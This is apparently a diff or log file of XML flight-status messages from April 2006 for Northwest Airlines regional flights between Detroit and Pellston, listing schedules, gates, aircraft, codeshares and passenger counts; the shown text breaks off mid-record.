+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T08:11:38Z</msg_dtm><msg_seq_id>114621189800000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-29</flt_orig_dte><al_cde>NW</al_cde><flt_num>3207</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-29T09:05:00</out_dtm><off_dtm typ=\"2\">2006-04-29T09:15:00</off_dtm><on_dtm typ=\"2\">2006-04-29T10:32:00</on_dtm><in_dtm typ=\"2\">2006-04-29T10:37:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-29T09:05:00</out_dtm><out_tme_type_cde>S</out_tme_type_cde><off_dtm typ=\"2\">2006-04-29T09:15:00</off_dtm><off_tme_type_cde>S</off_tme_type_cde><on_dtm typ=\"2\">2006-04-29T10:32:00</on_dtm><on_tme_type_cde>S</on_tme_type_cde><in_dtm typ=\"2\">2006-04-29T10:37:00</in_dtm><in_tme_type_cde>S</in_tme_type_cde></flt_oooi><delay_cde></delay_cde><dptr_gate>C30</dptr_gate><arvl_gate>1</arvl_gate><flt_radio_cde/><ac_num>0</ac_num><ac_reg_num></ac_reg_num><subfleet>SFC</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7460</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>14</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>0</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>REINITDB</src_upd_id><src_sys_dtm typ=\"3\">2006-04-22T01:43:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T08:12:03Z</msg_dtm><msg_seq_id>114621192300000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>2863</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-27T17:00:00</out_dtm><off_dtm typ=\"2\">2006-04-27T17:15:00</off_dtm><on_dtm typ=\"2\">2006-04-27T18:00:00</on_dtm><in_dtm typ=\"2\">2006-04-27T18:10:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-27T17:00:00</out_dtm><out_tme_type_cde>A</out_tme_type_cde><off_dtm typ=\"2\">2006-04-27T17:10:00</off_dtm><off_tme_type_cde>A</off_tme_type_cde><on_dtm typ=\"2\">2006-04-27T18:12:00</on_dtm><on_tme_type_cde>A</on_tme_type_cde><in_dtm typ=\"2\">2006-04-27T18:21:00</in_dtm><in_tme_type_cde>A</in_tme_type_cde></flt_oooi><delay_cde></delay_cde><dptr_gate>1</dptr_gate><arvl_gate>C33</arvl_gate><flt_radio_cde/><ac_num>8012</ac_num><ac_reg_num>N812AY</ac_reg_num><subfleet>CR4</subfleet><flt_rmks>Departed</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>9E</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7249</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>7063</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><onwdpax><flt_orig_dte>2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>2863</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>CVG</leg_dest_ap_cde></onwdpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>28</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>0</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>28</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>2</ckpt_crew_cnt><cbn_crew_cnt>1</cbn_crew_cnt></flt_psgr_grp><src_upd_id>REINITDB</src_upd_id><src_sys_dtm typ=\"3\">2006-04-20T01:42:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T08:12:05Z</msg_dtm><msg_seq_id>114621192500000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>2863</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T17:00:00</out_dtm><off_dtm typ=\"2\">2006-04-28T17:15:00</off_dtm><on_dtm typ=\"2\">2006-04-28T18:00:00</on_dtm><in_dtm typ=\"2\">2006-04-28T18:10:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T17:00:00</out_dtm><out_tme_type_cde>S</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T17:15:00</off_dtm><off_tme_type_cde>S</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T18:00:00</on_dtm><on_tme_type_cde>S</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T18:10:00</in_dtm><in_tme_type_cde>S</in_tme_type_cde></flt_oooi><delay_cde></delay_cde><dptr_gate>1</dptr_gate><arvl_gate>C33</arvl_gate><flt_radio_cde/><ac_num>8751</ac_num><ac_reg_num>N8751D</ac_reg_num><subfleet>CR4</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>9E</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7249</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>7063</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><onwdpax><flt_orig_dte>2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>2863</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>CVG</leg_dest_ap_cde></onwdpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>20</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>0</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>REINITDB</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:40:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T08:12:06Z</msg_dtm><msg_seq_id>114621192600000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3202</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T06:17:00</out_dtm><off_dtm typ=\"2\">2006-04-28T06:22:00</off_dtm><on_dtm typ=\"2\">2006-04-28T07:36:00</on_dtm><in_dtm typ=\"2\">2006-04-28T07:41:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T06:17:00</out_dtm><out_tme_type_cde>E</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T06:22:00</off_dtm><off_tme_type_cde>E</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T07:36:00</on_dtm><on_tme_type_cde>E</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T07:41:00</in_dtm><in_tme_type_cde>E</in_tme_type_cde></flt_oooi><delay_cde></delay_cde><dptr_gate>1</dptr_gate><arvl_gate>C1</arvl_gate><flt_radio_cde/><ac_num>7448</ac_num><ac_reg_num>N448XJ</ac_reg_num><subfleet>SFC</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7162</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>24</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>1</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>REINITDB</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:41:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T08:12:07Z</msg_dtm><msg_seq_id>114621192700000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3232</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T11:12:00</out_dtm><off_dtm typ=\"2\">2006-04-28T11:17:00</off_dtm><on_dtm typ=\"2\">2006-04-28T12:29:00</on_dtm><in_dtm typ=\"2\">2006-04-28T12:34:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T11:12:00</out_dtm><out_tme_type_cde>E</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T11:17:00</off_dtm><off_tme_type_cde>E</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T12:29:00</on_dtm><on_tme_type_cde>E</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T12:34:00</in_dtm><in_tme_type_cde>E</in_tme_type_cde></flt_oooi><delay_cde></delay_cde><dptr_gate>1</dptr_gate><arvl_gate>C8</arvl_gate><flt_radio_cde/><ac_num>7439</ac_num><ac_reg_num>N439XJ</ac_reg_num><subfleet>SFC</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7499</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>4532</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><onwdpax><flt_orig_dte>2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3232</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>TRI</leg_dest_ap_cde></onwdpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>29</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>1</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>REINITDB</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:41:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T08:12:08Z</msg_dtm><msg_seq_id>114621192800000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-29</flt_orig_dte><al_cde>NW</al_cde><flt_num>3202</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-29T06:17:00</out_dtm><off_dtm typ=\"2\">2006-04-29T06:22:00</off_dtm><on_dtm typ=\"2\">2006-04-29T07:36:00</on_dtm><in_dtm typ=\"2\">2006-04-29T07:41:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-29T06:17:00</out_dtm><out_tme_type_cde>S</out_tme_type_cde><off_dtm typ=\"2\">2006-04-29T06:22:00</off_dtm><off_tme_type_cde>S</off_tme_type_cde><on_dtm typ=\"2\">2006-04-29T07:36:00</on_dtm><on_tme_type_cde>S</on_tme_type_cde><in_dtm typ=\"2\">2006-04-29T07:41:00</in_dtm><in_tme_type_cde>S</in_tme_type_cde></flt_oooi><delay_cde></delay_cde><dptr_gate>1</dptr_gate><arvl_gate>C26</arvl_gate><flt_radio_cde/><ac_num>0</ac_num><ac_reg_num></ac_reg_num><subfleet>SFC</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7162</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>23</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>0</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>REINITDB</src_upd_id><src_sys_dtm typ=\"3\">2006-04-22T01:43:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T08:12:09Z</msg_dtm><msg_seq_id>114621192900000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-29</flt_orig_dte><al_cde>NW</al_cde><flt_num>3232</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-29T11:12:00</out_dtm><off_dtm typ=\"2\">2006-04-29T11:17:00</off_dtm><on_dtm typ=\"2\">2006-04-29T12:29:00</on_dtm><in_dtm typ=\"2\">2006-04-29T12:34:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-29T11:12:00</out_dtm><out_tme_type_cde>S</out_tme_type_cde><off_dtm typ=\"2\">2006-04-29T11:17:00</off_dtm><off_tme_type_cde>S</off_tme_type_cde><on_dtm typ=\"2\">2006-04-29T12:29:00</on_dtm><on_tme_type_cde>S</on_tme_type_cde><in_dtm typ=\"2\">2006-04-29T12:34:00</in_dtm><in_tme_type_cde>S</in_tme_type_cde></flt_oooi><delay_cde></delay_cde><dptr_gate>1</dptr_gate><arvl_gate>C12</arvl_gate><flt_radio_cde/><ac_num>0</ac_num><ac_reg_num></ac_reg_num><subfleet>SFC</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7499</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>4532</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><onwdpax><flt_orig_dte>2006-04-29</flt_orig_dte><al_cde>NW</al_cde><flt_num>3232</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>TRI</leg_dest_ap_cde></onwdpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>28</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>3</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>REINITDB</src_upd_id><src_sys_dtm typ=\"3\">2006-04-22T01:43:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T09:01:19Z</msg_dtm><msg_seq_id>114621487900000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3207</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T09:05:00</out_dtm><off_dtm typ=\"2\">2006-04-28T09:15:00</off_dtm><on_dtm typ=\"2\">2006-04-28T10:32:00</on_dtm><in_dtm typ=\"2\">2006-04-28T10:37:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T09:05:00</out_dtm><out_tme_type_cde>E</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T09:15:00</off_dtm><off_tme_type_cde>E</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T10:32:00</on_dtm><on_tme_type_cde>E</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T10:37:00</in_dtm><in_tme_type_cde>E</in_tme_type_cde></flt_oooi><delay_cde></delay_cde><dptr_gate>C43</dptr_gate><arvl_gate>1</arvl_gate><flt_radio_cde>3207</flt_radio_cde><ac_num>7439</ac_num><ac_reg_num>N439XJ</ac_reg_num><subfleet>SFC</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7460</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>11</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>4</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>GATE</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:41:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T09:20:32Z</msg_dtm><msg_seq_id>114621603200000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3202</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T06:17:00</out_dtm><off_dtm typ=\"2\">2006-04-28T06:22:00</off_dtm><on_dtm typ=\"2\">2006-04-28T07:36:00</on_dtm><in_dtm typ=\"2\">2006-04-28T07:41:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T06:17:00</out_dtm><out_tme_type_cde>E</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T06:22:00</off_dtm><off_tme_type_cde>E</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T07:36:00</on_dtm><on_tme_type_cde>E</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T07:41:00</in_dtm><in_tme_type_cde>E</in_tme_type_cde></flt_oooi><delay_cde></delay_cde><dptr_gate>1</dptr_gate><arvl_gate>C22</arvl_gate><flt_radio_cde>3202</flt_radio_cde><ac_num>7448</ac_num><ac_reg_num>N448XJ</ac_reg_num><subfleet>SFC</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> 